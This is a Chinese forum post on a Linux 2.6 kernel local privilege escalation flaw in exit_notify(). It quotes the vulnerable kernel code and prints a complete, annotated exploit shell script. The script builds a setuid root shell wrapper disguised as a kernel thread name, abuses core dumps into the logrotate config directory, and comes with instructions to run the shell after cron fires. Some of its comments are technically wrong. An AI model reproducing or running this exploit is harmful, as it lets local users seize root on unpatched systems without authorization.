绿盟七号发出的公告:http://www.nsfocus.net/vulndb/13188
Milw0rm八号发出的EXP:http://www.milw0rm.com/exploits/8369
基本上通杀2.6.29以下的2.6内核版本了。
kernel/exit.c文件中的exit_notify()函数没有正确地检查CAP_KILL功能,如果本地用户在退出前执行了setuid应用程序就会导致没有将信号重置为SIGCHLD,绕过其他检查获得权限提升。
exit.c关键代码:
====================================================
if (tsk->exit_signal != SIGCHLD && !task_detached(tsk) && (tsk->parent_exec_id != tsk->real_parent->self_exec_id || tsk->self_exec_id != tsk->parent_exec_id) && !capable(CAP_KILL)) tsk->exit_signal = SIGCHLD;
====================================================
Milw0rm的那个EXP有问题, 我修改后加了注释:
====================================================
#!/bin/sh
SUIDDUMP=`cat /proc/sys/fs/suid_dumpable` #suid_dumpable的内容默认是0,必须是1或者2 if [ $SUIDDUMP -lt 1 ]; then #判断/proc/sys/fs/suid_dumpable的内容是否小于1 /sbin/sysctl -w fs.suid_dumpable=1 #修改fs.suid_dumpable的内容为1 fi if [ -d /etc/logrotate.d ]; then #判断目录是否存在 echo "logrotate installed, that's good!" else echo "No logrotate installed, sorry!";exit fi
echo -e "Compiling the bash setuid() wrapper..." cd tmp cat >> .m.c << EOF #创建.m.c文件,下面就是.m.c的内容 #include <unistd.h> #include <sys/types.h>
int main() { setuid(0); #执行了setuid就会导致没有将信号重置为SIGCHLD,绕过其他检查获得权限提升 execl("/bin/bash","[kthreadd]",NULL); #将/bin/bash加到二号线程里 } EOF
cc /tmp/.m.c -o /tmp/.m #编译 rm /tmp/.m.c #删除源文件
echo -e "Compiling the exploit code..." cd /tmp cat >> exploit.c << EOF #创建源文件 #include <stdio.h> #include <sched.h> #include <signal.h> #include <stdlib.h> #include <unistd.h>
int child(void *data) { sleep(2); #线程2进入睡眠状态 printf("I'm gonna kill the suidroot father without having root rights :D\n"); execl("/usr/bin/gpasswd","%s",NULL); exit(0); #结束进程 }
int main() { int stacksize = 4*getpagesize(); #4KB的栈大小 void *stack, *stacktop; stack = malloc(stacksize); #分配16KB大小栈 stacktop = stack + stacksize; #stacktop=32KB chdir("/etc/logrotate.d"); #转到/etc/logrotate.d目录下 int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL); #创建子进程共享父进程。共享相同的文件描述符和信号处理 if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;chmod u+s /tmp/.m\nendscript\n}\n\n",NULL); } EOF
cc /tmp/exploit.c -o /tmp/.ex #编译成.ex rm /tmp/exploit.c #删除源文件
echo -e "Setting coredump limits and running the exploit...\n" ulimit -c 10000 #设置资源极限 touch /tmp/.a #创建一个.a文件 `/tmp/.ex >/dev/null 2>/dev/null` #错误定向到/dev/null sleep 5 #系统休眠 rm /tmp/.ex #删除.ex
if [ -e /etc/logrotate.d/core ]; then #这里有疑问了,没有找到core文件的存在 touch /etc/logrotate.d/core #加句话,创建一个core文件 echo -e "Successfully coredumped into the logrotate config dir\nNow wait until cron.daily executes logrotate and makes your shell wrapper suid\n" echo -e "The shell should be located in /tmp/.m - just run /tmp/.m after 24h and you'll be root" echo -e "\nYour terminal is most probably screwed now, sorry for that..." exit fi
echo "The system is not vulnerable, sorry :("
====================================================
等待24小时后,计划任务cron.daily执行,然后再运行/tmp/.m提权。
这个洞洞很多地方没搞透,欢迎各位讨论讨论。
补充: 任务计划cron.daily的时间是可以在/etc/crontab修改的, 格式是:分钟 小时 日 月 周 用户名 命令 其实就是执行了/etc/cron.daily/logrotate,可以手动执行,但我执行时出错了的。
|